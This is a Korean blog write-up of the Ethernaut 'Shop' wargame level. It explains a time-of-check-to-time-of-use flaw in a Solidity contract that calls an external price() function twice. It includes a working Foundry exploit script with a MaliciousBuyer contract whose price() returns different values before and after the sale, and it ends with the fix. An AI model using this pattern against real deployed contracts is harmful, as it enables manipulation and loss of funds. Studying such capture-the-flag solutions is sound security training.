Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
Tags
- Oracle Cloud
- ethernaut
- openzepplin
- Coin
- Smart contract
- syntax
- byte code
- coin flip
- web assembly
- soft fork
- NaughtCoin
- Assembly
- secureum
- ethereum virtual machine
- TransferFrom
- web3
- ethereum
- EVM
- Wargame
- hard fork
- transaction
- tx.origin
- Ethererum
- audit
- solidity
- writeup
- chain reorganization
- Block
- approve
- libray
Archives
- Today
- Total
c0mpos3r
[Ethernaut] 21. Shop WriteUp 본문
1. 문제 분석
Contracts can manipulate data seen by other contracts in any way they want.
It's unsafe to change the state based on external and untrusted contracts logic.
계약은 원하는 방식으로 다른 계약으로 보이는 데이터를 조작 할 수 있습니다.
외부 및 신뢰할 수없는 계약 논리에 따라 상태를 변경하는 것은 안전하지 않습니다.
1-1. code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
1-2. Shop Contract 분석
외부 호출 값을 두 번 쓰는 “TOCTOU(Time-of-check to time-of-use)” 취약점이 있습니다.
- 의도: buy()가 호출되면 Buyer Interface를 구현한 호출자에게서 가격을 받아, 조건을 만족하면 판매 완료로 표시하고 price를 갱신합니다.
- 문제: _buyer.price()를 조건 검사에서 한 번, 대입에서 한 번 총 두 번 호출합니다. 첫 호출 뒤 isSold = true로 바뀌기 때문에 두 번째 호출 때는 공격자가 다른 값을 반환하게 만들 수 있습니다. view라도 외부 상태(Shop.isSold)를 읽어 분기하면 각 호출에서 다른 값을 내놓을 수 있습니다.
- 결과: 첫 호출에서는 >= 100으로 통과시키고, 두 번째 호출에서는 아주 낮은 값(예: 0 또는 1)을 반환해 최종 Shop.price를 낮춰버릴 수 있습니다.
1-3. Reference 분석
https://c0mpos3r.tistory.com/9
[Solidity] Basic Syntax
1. Solidity License// SPDX-License-Identifier: GPL-3.0// SPDX-License-Identifier: MIT MIT License: 간단하고 자유로운 Open Source License재배포 및 수정: 소프트웨어를 자유롭게 사용, 복사, 수정, 병합, 게시, 배포, 서브,
c0mpos3r.tistory.com
2. Solving
공격자는 Buyer를 구현한 Smart Contract을 만들어, Shop.isSold()에 따라 다른 값을 반환하도록 합니다. 그런 다음 자신의 계약에서 shop.buy()를 호출합니다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import { Shop, Buyer } from "../src/Shop.sol";
contract MaliciousBuyer is Buyer {
Shop public shop;
constructor(address _shop) {
shop = Shop(_shop);
}
// 첫 호출(아직 isSold=false)에는 100 이상을 반환해 if 통과
// 두 번째 호출(이미 isSold=true)에는 낮은 값을 반환해 최종 price를 낮춤
function price() external view override returns (uint256) {
return shop.isSold() ? 1 : 100 + 1;
}
function attack() external {
shop.buy();
}
}
contract CounterScript is Script {
address public instance = 0x30C67EBEb901346129C0BA8f01c27881e322d500;
function run() public {
vm.startBroadcast();
MaliciousBuyer a = new MaliciousBuyer(instance);
a.attack();
vm.stopBroadcast();
}
}

3. 결론
외부 계약의 view 호출도 신뢰할 수 없으며, 같은 함수를 여러 번 부르면 상태 변화로 서로 다른 값을 반환해 TOCTOU 취약점이 생긴다.
외부 값은 한 번만 읽어 로컬에 저장해 재사용하거나 외부 의존을 없애도록 설계해야 한다.
'Web3 > Hacking' 카테고리의 다른 글
| [Ethernaut] 00. Hello Ethernaut WriteUp (0) | 2025.08.24 |
|---|---|
| [Ethernaut] 20. Denial WriteUp (0) | 2025.08.24 |
| [Ethernaut] 19. Alien Codex WriteUp (2) | 2025.08.09 |
| [Ethernaut] 18. MagicNumber WriteUp (1) | 2025.08.09 |
| [Ethernaut] 17. Recovery WriteUp (1) | 2025.08.08 |